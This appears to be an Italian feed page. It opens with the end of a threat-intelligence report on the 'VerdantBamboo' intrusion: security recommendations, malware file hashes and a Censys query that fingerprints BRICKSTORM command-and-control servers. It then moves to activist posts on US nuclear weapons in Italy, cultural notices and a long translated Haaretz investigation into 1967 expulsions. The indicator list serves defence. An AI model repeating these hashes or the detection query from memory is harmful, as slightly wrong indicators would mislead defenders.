Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

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US investigative journalist #Schlosser obtained a document from US authorities revealing 1,000 #NuclearAccidentsIncidents involving #USNuclearWeapons between 1957 and 1967 (source #BulletinAtomic)

How many accidents/incidents at the 2 #NuclearBases in Italy,#Aviano & #Ghedi ?

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Citizens are NOT aware of the risks of the presence of #NuclearWeapons in their countries because of extreme secrecy. From the very dawn of nuclear age, info on such risks and impact has been totally manipulated by politicians and mainstream. This is one of the books I recommend
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16 Italian citizens,including renowned physicist #CarloRovelli, filed a criminal complaint against #USTacticalNuclearWeapons in Italy.
Italy=EU country with the highest number of #USnukes and the only one with 2 #NuclearBases (#Aviano & #Ghedi)
Italian judge will rule on it soon
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se cittadini non hanno consapevolezza degli immensi rischi #ArmiNucleariUSA sul suolo italiano (#Aviano e #Ghedi) è perché da 81 anni,con complicità della politica e mainstream,questi rischi vengono tenuti nascosti.
Uno dei libri da leggere per capire manipolazione informazione
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il giornalista americano #Schlosser ha ottenuto un documento dal governo americano che rivela che tra 1957 e 1967 negli #USA si sono verificati MILLE incidenti con #ArmiNucleari, alcuni piccoli, altri molto gravi. ( Fonte: BulletinAtomic)
Quanti incidenti ad #Aviano e #Ghedi completamente segreti?
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è criminale tenere i cittadini italiani in uno stato di profonda disinformazione e ignoranza sui rischi della presenza di #ArmiNucleari sul suolo italiano: siamo il paese EU con il più alto numero di #ArmiNucleariUSA sul suo suolo e unico con 2 basi nucleari: #Aviano e #Ghedi
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grazie ai 16 cittadini, incluso il fisico #CarloRovelli, che hanno presentato denuncia alla procura sulla presenza di #ArmiNucleariTatticheUSA ad #Aviano e #Ghedi.

Lunedì 15 giugno la GIP di Pordenone sarà chiamata a decidere

Ieri ad #Aviano

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grazie a tutti i cittadini e gli attivisti che,a livello individuale o sotto le bandiere #ANPI, #CGIL, #AlternativaVerdiSinistra, #Movimento5Stelle, erano sabato a #Pordenone per la denuncia contro le #ArmiNucleari, e ieri alla #BaseUSAAviano!
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📬Milou non è il cane di H1tl3r e Tintint non è Léon Degrelle

Una puntata di S'È DESTRA un po' diversa dal solito

sedestra.substack.com/p/milou-…

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Un tema che sarà sempre più pressante, in Italia come altrove (Germania): il governatore della Calabria chiede i prezzi zonali dell'elettricità

Roberto Occhiuto, governatore della Calabria: «Il Sud genera più energia pulita con eolico e solare, ma paga troppo» corriere.it/economia/finanza/2…

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𝗜𝗹 𝗴𝗵𝗶𝗮𝗰𝗰𝗶𝗼 𝗶𝗻𝗰𝗼𝗻𝘁𝗮𝗺𝗶𝗻𝗮𝘁𝗼 𝗱𝗲𝗹𝗹'𝗔𝗻𝘁𝗮𝗿𝘁𝗶𝗱𝗲 𝗿𝗲𝗴𝗶𝘀𝘁𝗿𝗮 𝗶 𝘃𝗶𝗮𝗴𝗴𝗶 𝗱𝗲𝗹 𝗦𝗶𝘀𝘁𝗲𝗺𝗮 𝗦𝗼𝗹𝗮𝗿𝗲.

Il ghiaccio antartico contiene prove che la Terra è entrata in una nube di polvere interstellare più di 40.000 anni fa. Mentre il Sistema Solare viaggia attraverso la Galassia, la Terra raccoglie la polvere interstellare, incluso il raro isotopo ferro-60, un prodotto distintivo delle esplosioni di supernova.
Per approfondire: buff.ly/AWm98Mb

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9 giugno, firenze: presentazione del nuovo numero di ‘riga’, dedicato al gruppo 70


A Firenze, martedì 9 giugno 2026, alle ore 18, al Museo del Novecento, si parlerà del Gruppo 70 e dei rapporti tra poesia visiva, editoria e istituzioni museali, presentando il numero di «Riga» curato da Raffaella Perna.

riga 49, fascicolo dedicato al gruppo 70, a cura di raffaella perna
cliccare per ingrandire

Il libro: quodlibet.it/libro/97888229249…
#ChiaraPortesine #editoria #ElioGrazioli #GiorgioBacci #Gruppo70 #istituzioniMuseali #materialiVerbovisivi #musei #museo #MuseoDelNovecento #poesiaVisiva #Quodlibet #RaffaellaPerna #Riga

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“ci hanno ordinato di uccidere”: la nakba del 1967 che gli israeliani non conoscono / adam raz


Adam Raz
HAARETZ, 4 giu. 2026

Testimonianze inedite di soldati che combatterono nella Guerra dei Sei Giorni mettono in luce un netto divario tra la memoria collettiva di Israele e ciò che accadde effettivamente nel 1967. Documenti recentemente scoperti indicano che 300.000 arabi furono espulsi o sfollati dalla Cisgiordania, Gaza e dalle Alture del Golan in mezzo a violenze, saccheggi e distruzione. | Un’indagine

“All’inizio non ero disposto a giustiziare gli arabi che non resistevano,” disse un soldato. “Poi siamo giunti alla conclusione che dovevamo uccidere. Abbiamo attraversato il processo di smettere di vederli come esseri umani”. Un secondo soldato ha spiegato che a Gaza, “le vite umane non contavano. Potevi uccidere, non c’era legge. Nessuno ti direbbe una parola, ma non è una bella sensazione. Uccide principalmente la tua umanità”. Un terzo soldato raccontò “spedizioni punitive che avremmo svolto nei villaggi minoritari della Striscia, non una o due volte. Abbiamo catturato i ragazzi, messi in fila e eliminati. Col senno di poi, sembra un omicidio”. “Vagavamo per i campi profughi a Gaza e compivamo purghe”, ha testimoniato un quarto soldato. “Ogni uomo che abbiamo visto era un combattente, questo è chiaro. Nessun modo per provarlo. Forse erano prigionieri o civili a essere uccisi. Ogni soldato presente creò un ‘campo di concentramento’, e non esitavano a uccidere chi causava un piccolo disturbo”. “È un dibattito filosofico,” disse un quinto soldato riguardo al tentativo di distinguere tra “l’impulso a uccidere e il desiderio di divertirsi”.

Le testimonianze di queste truppe israeliane, che non videro mai la luce, emersero in una serie di discussioni tenutesi nei kibbutz dopo la Guerra dei Sei Giorni. Una selezione delle conversazioni fu raccolta in un libro canonico, Il settimo giorno: i soldati parlano dei Sei Giorni, ma molte testimonianze dure furono omesse. Il film di Mor Lushy del 2015, Censored Voices, ha effettivamente smascherato alcuni dei crimini commessi nel 1967, ma la stragrande maggioranza è rimasta in sala di montaggio. “Su 200 ore di registrazioni, un numero significativo di ore riguarda crimini di guerra,” ha detto Loushy all’uscita del film. “La storia è riuscita quasi in ogni kibbutz e si è ripetuta più e più volte. Abbiamo incluso tre o quattro testimonianze sull’uccisione dei prigionieri nel film”. Una consultazione dei protocolli completi, conservati nell’Archivio Yad Tabenkin a Ramat Gan, rivela un netto divario tra la memoria collettiva di Israele e ciò che è realmente accaduto.

Questi protocolli, insieme a una serie di documenti pubblicati qui per la prima volta, costituiscono la base di un’indagine e di una ricerca di “Haaretz” da parte dell’Istituto Akevot su quanto accaduto durante e dopo la Guerra dei Sei Giorni. L’indagine storica mostra che Israele espulse e scacciò circa 300.000 arabi dalla Cisgiordania, Gaza e dalle Alture del Golan. E, come nel 1948, l’espulsione includeva uccisione di civili, seminare terrore nelle comunità arabe, saccheggio e, infine, distruzione.

A soldier’s testimony collected by MK Uri Avnery. “We received orders to shoot to kill, without prior warning”
A soldier’s testimony collected by MK Uri Avnery. “We received orders to shoot to kill, without prior warning”

Nelle settimane successive alla guerra, migliaia di rifugiati palestinesi cercarono di tornare in Cisgiordania dopo aver trovato rifugio a est del fiume Giordano. Tuttavia, le Forze di Difesa Israeliane tesero un’imboscata a coloro che stavano tornando e li massacrarono. L’uccisione dei palestinesi che tentavano di tornare non fu ampiamente pubblicizzata, ma raggiunse le orecchie del membro della Knesset Uri Avnery. Un soldato traumatizzato che incontrò Avnery gli disse che lui e i suoi compagni furono istruiti ad aprire il fuoco anche su donne e bambini. Dopo aver raccolto la testimonianza di un altro soldato, Avnery chiese al capo di stato maggiore delle Forze di Stato Armato di Israele Yitzhak Rabin di aprire un’indagine e ordinare la sospensione degli omicidi. Avnery non ha pubblicato i dettagli sul suo giornale, HaOlam HaZeh, né ne ha parlato dal podio della Knesset. Come altri, anche lui rimase in silenzio e attese cinque decenni prima di presentare la testimonianza parola per parola nella sua autobiografia: “Ogni notte, gli arabi attraversavano il Giordano dalla Riviera Est alla Cisgiordania. Bloccammo questi attraversamenti e ricevemmo l’ordine di sparare per uccidere, senza preavviso. Infatti, tali colpi venivano sparati ogni notte contro uomini, donne e bambini, anche nelle notti illuminate dalla luna quando era possibile identificare chi attraversava. Cioè, distinguere tra uomini, donne e bambini. La mattina dopo uscivamo a scandagliare l’area e uccidevamo, su ordine esplicito dell’ufficiale presente, coloro che erano vivi, compresi quelli nascosti e i feriti. Dopo la fine degli omicidi, coprivamo i corpi di terra finché non arrivava un trattore”. “Ci hanno spiegato che se i convogli di rifugiati di ritorno dalla Giordania alla Cisgiordania passavano accanto a noi, dovevamo fucilarli”, ha testimoniato un altro soldato. “Ho chiesto all’agente: E se sento i bambini piangere, devo sparare anche a quelli? La risposta che ho ricevuto è stata: Non fare la ragazza”. Il maggiore generale Uzi Narkiss, capo del Comando Centrale dell’esercito durante la guerra, ammise in seguito che le truppe furono istruite a sparare per uccidere chi tornava se non conoscevano la parola d’ordine. E come avrebbero fatto i rifugiati palestinesi a sapere quale parola d’ordine li avrebbe salvati dalla morte? “A volte ci sono persone che esagerano nel loro comportamento e invece di chiedere la parola d’ordine, sparano immediatamente,” disse Narkiss al giornale Koteret Rashit nel 1985. “Quando c’è una guerra, succedono cose tragiche”. L’IDF stessa ha riferito che all’inizio di settembre quasi 150 palestinesi erano stati uccisi in questo modo, e il Capo di Stato Maggiore Rabin ha anche confermato al Comitato Ministeriale per gli Affari di Sicurezza che questi erano gli ordini riguardanti gli “infiltrati”. Questi ordini erano in linea con la decisione del governo del 25 giugno di impedire il ritorno dei rifugiati che avevano attraversato il fiume Giordano verso est.

Torniamo alle testimonianze di Soldiers’ Talk. “Supponiamo che dobbiamo trattare gli arabi in questo modo,” disse uno dei soldati, “la domanda è se questo non comprometta un vasto fondamento morale per tutte le cose che diciamo tra di noi. Non sono un grande vegetariano, ma questo tipo di uccisione deve avere conseguenze più avanti nella vita”. Poi raccontò di un “ragazzo giordano” che rimase lungo la strada in gruppo, finché i soldati “non li crivellarono di proiettili e mi dissero con completo entusiasmo che li avevano finiti”. Riportò anche un grande “raccolto” effettuato altrove, ma non ne disse di più. Un altro partecipante alla conversazione ha paragonato il comportamento dei soldati regolari a quello dei riservisti. “I soldati regolari uccidono molto più facilmente. I clienti abituali fanno cose terribili. Hanno compiuto omicidi veri e propri, hanno sparato ai prigionieri anche quando avevano le mani alzate”. Ha aggiunto di essere presente all’esecuzione di “circa 15 uomini” disarmati. Testimonianze di questo tipo appaiono ripetutamente nelle trascrizioni. Un soldato ha raccontato di aver assistito a “casi che mi hanno profondamente scioccato, di esecuzioni e cose simili”. Un riservista ha parlato di ordini espliciti di giustiziare i palestinesi fatti prigionieri: “Non c’è stato un processo; ma un ufficiale del governo militare, dell’intelligence, non so esattamente da dove, passava in rassegna i documenti e diceva: ‘Questo va giustiziato’, senza esitazione”. Gli omicidi non erano sempre destinati ad accelerare l’espulsione o a smaltire i prigionieri. Un soldato ha raccontato un episodio avvenuto nel nord del Sinai, al lago Bardawil. Il soldato e i suoi compagni incontrarono sette arabi, chiaramente civili, seduti su una piccola barca a vela. Secondo lui, un’infermiera che li accompagnava “si è subito eccitata” e ha suggerito di sparargli da lontano. “Presto, sono arabi!” avvertì i combattenti. Una parte della forza armò le armi, e il soldato ingenuamente pensò “i ragazzi stanno scherzando”. Quando si rese conto che erano seri, urlò all’agente: “Non sparerete, senti?” Ma l’agente rispose che non riceveva ordini da lui. “Il primo colpo si spense e immediatamente tutti gli altri si unirono e fecero di quel campo un vero poligono di tiro,” continuò nella sua testimonianza. Gli occupanti della barca si gettarono in acqua feriti, “e, per pietà, dissi a qualcuno: ‘Dai, sparagli.'” “Abbiamo trasformato la penisola del Sinai in un campo di sterminio,” scrisse un altro soldato alla sua ragazza, raccontando che le persone venivano giustiziate anche se disarmate, e che ciò accadeva sia ai soldati catturati che ai civili. “Ho visto troppi omicidi per piangere”. “Non era un’aberrazione. In uno dei casi più scioccanti in cui i prigionieri furono giustiziati, l’ordine fu dato da Moshe Levy, un ufficiale di stato maggiore dei Paracadutisti. Levy fu successivamente nominato capo di gabinetto.

Alcuni casi rimangono nascosti al pubblico israeliano ancora oggi, anche se la maggior parte dei loro dettagli è stata pubblicata all’estero. Questo è stato il caso di Moshe Levy e dell’uccisione dei prigionieri, e anche delle testimonianze sull’uccisione di quattro civili a Rafah dopo la fine dei combattimenti. Un documento ottenuto da “Haaretz” mostra che ancora nel 2008, quattro decenni dopo, l’archivista di Stato Yehoshua Freundlich raccomandò di conservare chiuso “il fascicolo riguardante un incidente avvenuto a Rafah dopo la Guerra dei Sei Giorni”, sostenendo che “la sua esposizione potrebbe causare gravi danni alle relazioni estere di Israele”. Il materiale sull’affare è ancora oggi sigillato nell’Archivio IDF. L’euforia che seguì la rapida vittoria di Israele nella Guerra dei Sei Giorni oscurò la Nakba del 1967. In Cisgiordania e nella Striscia di Gaza, circa 200.000 palestinesi furono cacciati, molti dei quali residenti in campi profughi già espulsi dalle loro case due decenni prima. Le comunità arabe lungo la Linea Verde furono distrutte per sfumare il confine tra Israele e Giordania. Dalle Alture del Golan, circa 120.000 cittadini siriani furono cacciati e il loro ritorno a casa fu vietato dopo la cessazione dei combattimenti. Le loro comunità furono sistematicamente saccheggiate dallo Stato. In alcuni casi, iniziative private di razzia precedettero il saccheggio organizzato dallo Stato.

Documenti aperti alla consultazione negli archivi negli ultimi anni e rivelati dall’Istituto Akevot indicano che le IDF si erano impegnate in meticolosi preparativi per la “conquista di aree al di fuori dei confini dello Stato” già all’inizio degli anni ’60. L’esercito sperava che la situazione politica avrebbe giocato a favore di Israele e gli avrebbe permesso di mantenere il territorio occupato per un periodo prolungato, stimando che in Cisgiordania, Striscia di Gaza e nel Sinai settentrionale, “potrebbe esserci bisogno di un governo militare prolungato, in linea con le tendenze diplomatiche”. L’occupazione dei territori non colse Israele di sorpresa, come semplice sottoprodotto dei successi sul campo di battaglia. Al contrario, lo Stato lo aveva pianificato. I palestinesi erano semplici spettatori in questa storia. Il ministro della Difesa Moshe Dayan scrisse nelle sue memorie che i palestinesi residenti in Cisgiordania non avevano preso parte alla guerra e che non era la loro guerra. Tuttavia furono loro a pagare il prezzo.

Il pubblico israeliano, dal canto suo, è rimasto in silenzio. Le truppe che partecipavano a commettere crimini tenevano la bocca chiusa; persone che saccheggiavano e rubavano proprietà non volevano vantarsene; i kibbutz che parteciparono all’espulsione dei palestinesi e alla confisca delle loro proprietà cercarono di minimizzare le loro azioni. Amos Kenan, allora riservista che prestava servizio a Latrun, fu tra i pochi che protestarono apertamente contro l’espulsione e la distruzione dei villaggi, scrivendo un rapporto sugli atti di distruzione al Primo Ministro Levi Eshkol. Tuttavia, i leader israeliani non furono semplicemente trascinati dall’escalation militare. Più di una volta strizzarono l’occhio per segnalare all’esercito il loro desiderio di espulsione della popolazione araba. “Vogliamo anche liberare un po’ della Striscia di Gaza,” disse Moshe Dayan in una riunione ministeriale nel luglio 1967, secondo un precedente documento aperto per consultazione. Il ministro del lavoro Yigal Allon espresse un sentimento simile. Durante una riunione del Comitato Ministeriale per gli Affari di Sicurezza, Allon disse: “non c’è motivo di dispiacersi per alcuni villaggi distrutti”. Non si trattava semplicemente di una riflessione retrospettiva. Il lavoro di espulsione era allora in pieno svolgimento.

Il ministro dell’Informazione Yisrael Galili dichiarò durante una riunione di gabinetto che “nessuna quantità di relazioni pubbliche avrebbe sistemato” ciò che aveva visto durante una visita in Cisgiordania. E aggiunse: “la nostra tesi principale era che affrontavamo il pericolo di annientamento. Questa tesi ha perso ogni minimo valore”. L’espulsione, come ha poi detto Ishai Amrami, vice comandante di un battaglione che combatté nella Guerra dei Sei Giorni, era pianificata. Amrami partecipò nel 1987 a un raduno di attivisti del partito Mapam per celebrare i 20 anni dalla pubblicazione del libro Soldiers’ Talk. Gli attivisti e gli ex soldati, ormai sulla cinquantina, guardavano indietro agli eventi della guerra come cosa lontana. “Questa cosa, che ho sperimentato in prima persona, è stata un tentativo di trasferimento massiccio di popolazione,” ricordò Amrami. “Non una semplice espulsione, dunque, ma un trasporto via bus. Questo è qualcosa che rimane impresso nella mia memoria ancora oggi. Non conosco tutti i dettagli, ma era chiaro che una tale mossa stava avvenendo”. Eppure, bisogna porsi la domanda: chi ha dato l’ordine? Circa 200.000 palestinesi cercarono rifugio a est del fiume Giordano, e non abbiamo documentazione di una decisione governativa sulla questione, anche se è chiaro che i ministri accolsero con favore la fuga. Le due figure chiave sono probabilmente il ministro della Difesa Dayan e il capo del Comando Centrale Narkiss. Il 7 giugno, Dayan chiarì al Capo di Stato Maggiore Rabin di voler svuotare la Cisgiordania dai suoi abitanti. In quei giorni, espresse ripetutamente la sua soddisfazione per le notizie sull’espulsione e la partenza dei residenti arabi. Ad esempio, quando venne a sapere della fuga iniziale dei residenti dalla città di Tulkarm, dove vivevano 25.000 persone, ordinò un rallentamento dell’avanzata delle forze corazzate verso l’area e pretese che le vie di traffico restassero aperte per facilitare la fuga dei residenti. Nelle discussioni di governo, Dayan evitava di parlare in termini definitivi, e sembra che ciò lo abbia aiutato a fuorviare alcuni ministri. Mordechai Bentov, ministro dell’edilizia per conto di Mapam, disse in seguito che, a sua conoscenza, la maggior parte delle iniziative di espulsione erano state locali, e le grandi espulsioni del 1948 non si ripeterono perché, per quanto ne sapeva, non c’era alcun ordine dall’alto. “Non credo,” disse con qualche esitazione in un’intervista del 1976, “per quanto ne so. So che sono fuggiti”. La verità era più complessa. Il Magg. Gen. Narkiss comprese pienamente le intenzioni di Dayan e agì con decisione per espellere le comunità lungo la Linea Verde. In più di una occasione, in luoghi dove i palestinesi non erano fuggiti di propria iniziativa, fu ordinato loro di farlo. Le prove dalla parte palestinese supportano le prove da parte israeliana. Ad esempio, emerge dalla testimonianza di un residente del villaggio di Yalo ai piedi delle montagne di Gerusalemme, conservata nell’archivio dell’organizzazione palestinese per i diritti umani Al-Haq: “Gli israeliani sono nel villaggio, annunciano tramite altoparlanti. Tutti i residenti di Yalo devono partire per Ramallah. Chi non se ne andrà sarà in pericolo”.

A Palestinian family from the Latrun area leaving their home in front of soldiers. A deputy battalion commander who took part in the war later testified that he witnessed “an attempt at massive population transfer, not a simple expulsion” Credit: Benia Ben-Nun
A Palestinian family from the Latrun area leaving their home in front of soldiers. A deputy battalion commander who took part in the war later testified that he witnessed “an attempt at massive population transfer, not a simple expulsion” Credit: Benia Ben-Nun

In diversi luoghi venivano impiegate varie pratiche per incoraggiare l’espulsione: annunci; minacciare i residenti con armi; mettendo in fila autobus e camion e ordinando alla popolazione di salirci. Questo accadde, tra gli altri, a Qalqilyah, nei villaggi Latrun, a Tulkarm e nelle colline di Hebron meridionale. In altri luoghi della Cisgiordania, i bombardamenti dell’Aeronautica effettuati come parte dei combattimenti contribuirono all’intimidazione. Questi attentati aiutarono a cacciare circa 50.000 residenti che vivevano in tre campi profughi nell’area di Jericho. Molti di coloro che fuggivano portavano con sé i ricordi della Nakba e non attesero l’arrivo delle forze di terra. In alcuni casi, si tentava apparentemente di creare l’impressione che l’espulsione o la fuga fosse il risultato di iniziative locali. Un documento d’archivio conservato a Yad Tabenkin e ora svelato qui fa luce sul tentativo di espellere gli abitanti di Qalqilyah, coprendone al contempo le tracce. Nel documento, Yaakov Mali, capo del dipartimento traffico della compagnia di autobus Egged durante la guerra, testimonia che la persona che ha tentato di eseguire l’espulsione era in realtà il sindaco di Kfar Sava, Ze’ev Geller. “Mi ha ordinato 40 autobus per espellere i residenti di Qalqilyah verso i passaggi del Giordano,” ha raccontato Mali, testimoniando di aver risposto che accettava solo ordini dalle Forze di Difesa Israeliane. Geller ha risposto che c’era “un’opportunità storica per eliminare quanti più arabi possibile e che proprio in quel momento le IDF stavano facendo saltare in aria case a Qalqilyah”. Gli autobus sono stati inviati. Geller era infatti il volto, ma l’ordine di espulsione era venuto da Dayan ed era passato a Narkiss. L’espulsione di Qalqilyah fu eseguita rapidamente e quasi metà delle case furono distrutte nel giro di pochi giorni. Tuttavia, questo fu uno dei rari casi nella storia del conflitto in cui Israele fu costretto a ritirarsi a causa di una forte pressione internazionale. Il 25 giugno si decise di permettere ai residenti di Qalqilyah di tornare nella loro città. L’espulsione dei tre villaggi palestinesi nell’area di Latrun – Imwas, Bayt Nuba e Yalo – con i loro 8.000 abitanti, fu una delle espulsioni più importanti durante la guerra. Lo stesso accadde con la distruzione dei villaggi subito dopo e l’istituzione del Canada Park da parte del Jewish National Fund nel 1971.

I villaggi furono conquistati senza resistenza il secondo giorno di guerra e, poche ore dopo, ai residenti fu ordinato di evacuare a Ramallah. Israele ha affermato che una parte significativa delle strutture nei villaggi è stata distrutta durante le battaglie che vi si sono svolte. Questa era una falsa affermazione.
Ze’ev Bloch, veterano della Guerra dei Sei Giorni ed ex membro del Kibbutz Nahshon, situato vicino ai tre villaggi espulsi, ha detto ai ricercatori dell’Istituto Akevot che “nessuno lascia la propria casa volontariamente. Non c’è discussione su questo. Sicuramente, certamente furono espulsi. Guerra. Ci sono quelli che espellono, ci sono quelli che se ne vanno, ci sono quelli che sopravvivono e quelli che muoiono”. Nelle sue memorie, descrisse “bambini, adulti e anziani che piangevano, che avanzavano lentamente lungo i lati della strada. Queste immagini ricordavano a me e a molti riservisti di allora altri giorni, non troppo lontani, in cui le famiglie ebree venivano viste camminare esattamente allo stesso modo nell’Europa occupata. Era difficile evitare il paragone, e il nostro cuore si strinse davanti a queste visioni”. Lo svuotamento di molte città e villaggi lasciò dietro di sé molte proprietà. I membri del Kibbutz Nahshon tennero riunioni sul destino delle terre e delle proprietà abbandonate. Le trascrizioni delle conversazioni furono pubblicate nella newsletter del kibbutz, ma alla fine si decise che non dovevano vedere la luce del giorno. Secondo una nota scritta all’epoca dall’archivista del kibbutz, “fu deciso che nessuna proprietà o bottino sarebbe stato tolto dai villaggi vicini”. Tuttavia, il saccheggio si diffuse in tutto il paese e alcuni membri del governo si chiedevano come fermarli. Il ministro della Giustizia Yaakov Shimshon Shapira spiegò in una riunione di gabinetto alla fine di giugno che “il problema più grande” era che i cittadini saccheggiavano e ritornavano in Israele, “e qui è impossibile arrestarli e processarli”. Uno degli episodi di saccheggio più importanti avvenne a Qalqilyah. Automobili e camion si sono diretti dalla città svuotata verso le case private di Kfar Sava e delle zone circostanti. Alcune proprietà furono saccheggiate in modo organizzato. Nell’archivio municipale di Kfar Sava si trova una lunga lista di attrezzature prese dalle scuole di Qalqilyah e trasferite a beneficio degli studenti delle scuole della città israeliana. La persona che organizzò il furto fu il sindaco Geller, che fu anch’egli nominato governatore di Qalqilyah per un breve periodo.

Le operazioni di espulsione e distruzione lungo la Linea Verde continuarono anche dopo la guerra. Questo è stato il caso, ad esempio, a Zeita vicino a Tulkarm e Beit Awwa, a sud di Hebron. La natura sistematica dell’evacuazione dei villaggi lungo la Linea Verde supporta la conclusione che queste non fossero iniziative locali. Il Magg. Gen. Narkiss stesso si vantò pubblicamente di aver avuto un ruolo centrale nell’espulsione della popolazione. Anche prima della guerra, informò i suoi subordinati che se la Giordania si fosse unita ai combattimenti, “avremmo spazzato via tutti gli arabi dalla Cisgiordania”. Prometteva e manteneva, almeno in parte. Dopo la guerra, ammise che alcune delle operazioni di espulsione che avviò furono atti di vendetta. Sebbene il capo di stato maggiore Rabin gli ordinasse di fermare l’espulsione e minacciasse persino un’indagine legale, Narkiss godeva del sostegno di Dayan, che spinse per accertare i fatti sul campo. Nel dicembre 1967, sei mesi dopo la guerra, il consulente legale del Ministero degli Esteri, Theodor Meron, inviò una lettera al direttore generale del ministero riguardante le “espulsioni degli arabi verso la Cisgiordania Est”. Questa drammatica lettera, pubblicata qui per la prima volta, serve da prova che i ministri del governo furono coinvolti nelle espulsioni. Dayan non era un attore fuori controllo in questa faccenda. “Le espulsioni costituiscono una grave violazione della Convenzione di Ginevra,” scrisse Meron, “e soprattutto alla luce dell’ampia pubblicità, è probabile che causino complicazioni”. Aggiunse che anche l’Army Advocate General Meir Shamgar concordava sul fatto che “le espulsioni violavano la Convenzione”.
Una frase che scrisse riassume sinteticamente la storia del conflitto: “Il Comitato Ministeriale per gli Affari di Sicurezza decise comunque di approvare la politica”. Questo cupo capitolo storico non rimase del tutto segreto. Nel corso degli anni, i fatti sono emersi gradualmente attraverso ricerche storiche, indagini giornalistiche e film documentari. Nel 2005, il libro completo di Tom Segev, 1967: Israele, la guerra e l’anno che ha trasformato il Medio Oriente, ha concentrato l’attenzione sulle operazioni di espulsione condotte durante la guerra.
Nel 2012 è stato pubblicato uno studio ricco di dettagli dello storico Avi Raz, La sposa e la dote, che includeva un capitolo affascinante sull’autorizzazione, concessa con mezzi complicati, che permise alle forze di espellere i residenti e distruggere villaggi. L’anno scorso, lo storico Omri Shafer Raviv ha pubblicato il suo illuminante libro I proprietari terrieri: il governo israeliano e i palestinesi 1967-1969 (in ebraico), in cui descrive la politica israeliana impegnata a ridurre la popolazione palestinese nella Striscia di Gaza dopo la guerra.

E ci sono stati anche coloro che hanno fatto luce sulla grande espulsione nelle Alture del Golan. Nel 2010, un’indagine di “Haaretz” condotta da Shay Fogelman ha studiato ampiamente l’operazione per svuotare l’altopiano dai suoi residenti siriani. Ora, i documenti ottenuti da “Haaretz” e dall’Istituto Akevot permettono di illuminare aspetti sconosciuti dell’operazione. Prima arrivò l’occupazione. Dopo tre giorni di intensi bombardamenti, le IDF ottennero il pieno controllo Nell’altopiano siriano. Una registrazione sistematica dei residenti rimasti nelle Alture del Golan fu effettuata solo a metà agosto, quando divenne chiaro che il loro numero era poco più di 6.000 – su circa 130.000 cittadini siriani che vivevano sull’altopiano fino alla guerra. Immediatamente dopo l’occupazione, fu imposto un coprifuoco ad alcuni dei residenti rimasti; e fu impedito con la forza il ritorno ai villaggi di coloro che si erano nascosti nell’area durante i combattimenti. Un documento conservato presso il Centro Yitzhak Rabin presenta la testimonianza di Elad Peled, comandante della Formazione Ga’ash dell’IDF che guidò l’occupazione. Secondo Peled, pochi giorni dopo la fine della guerra fu presa la decisione di intervenire “con bulldozer per eliminare i villaggi, così da non avere più un posto dove chiunque potesse tornare”. Questo è stato davvero fatto. A metà giugno, il comandante delle forze israeliane nella città occupata di Quneitra ha chiesto al rappresentante dell’Ufficio dell’Army Advocate General se fosse autorizzato “a rimuovere con la forza i residenti arrivati in città, e se i residenti potessero essere trasportati in autobus verso il territorio siriano”. Un rapporto del Comando Nord affermava che dall’11 giugno “il governo militare iniziò a gestire la popolazione rimasta nel territorio occupato, con particolare attenzione alle minoranze druse e circasse”. Il resto della frase fu censurato. Inoltre nel rapporto si affermava che “la concentrazione di residenti rimasti a Quneitra è iniziata e sono state prese misure severe riguardo ai saccheggi”. Non è stato scritto altro e, in generale, l’Archivio IDF non apre alla consultazione i documenti sulle operazioni di espulsione. Circa un mese dopo la fine della guerra, l’ufficiale di collegamento israeliano presso l’ONU ha contattato il Comando Nord dopo una lunga serie di accuse dettagliate presentate dalla Siria contro Israele, chiedendo una risposta. “L’intimidazione tramite minacce contro i residenti del villaggio raggiunse tali proporzioni che la maggior parte della popolazione lasciò le proprie case e fuggì”, affermava il rapporto presentato all’ONU. In alcuni villaggi, erano rimasti solo gli anziani residenti che faticavano a resistere alla fuga. Secondo il rapporto, l’intimidazione e le minacce si manifestarono in varie forme: sparatorie volte a far fuggire; “sparatorie generali, indifferenza verso le morti ed espulsione del resto della popolazione”; e la prassi di “affamare i residenti rimasti bruciando i campi di grano”. In un caso, i residenti furono divisi in due gruppi: quelli sotto i 25 anni furono catturati e portati in Israele, mentre gli altri furono espulsi, inviati verso il sud della Siria con le mani legate dietro la schiena. Amnon Assaf, membro del Kibbutz Ma’ayan Baruch, ha raccontato nell’indagine di Fogelman di aver assistito al raduno di centinaia di cittadini siriani e che i soldati israeliani gli avevano detto che stavano per espellerli. “Non sono un uomo dal cuore tenero, ma in quel preciso momento ho sentito che qualcosa non andava qui,” ha detto Assaf. 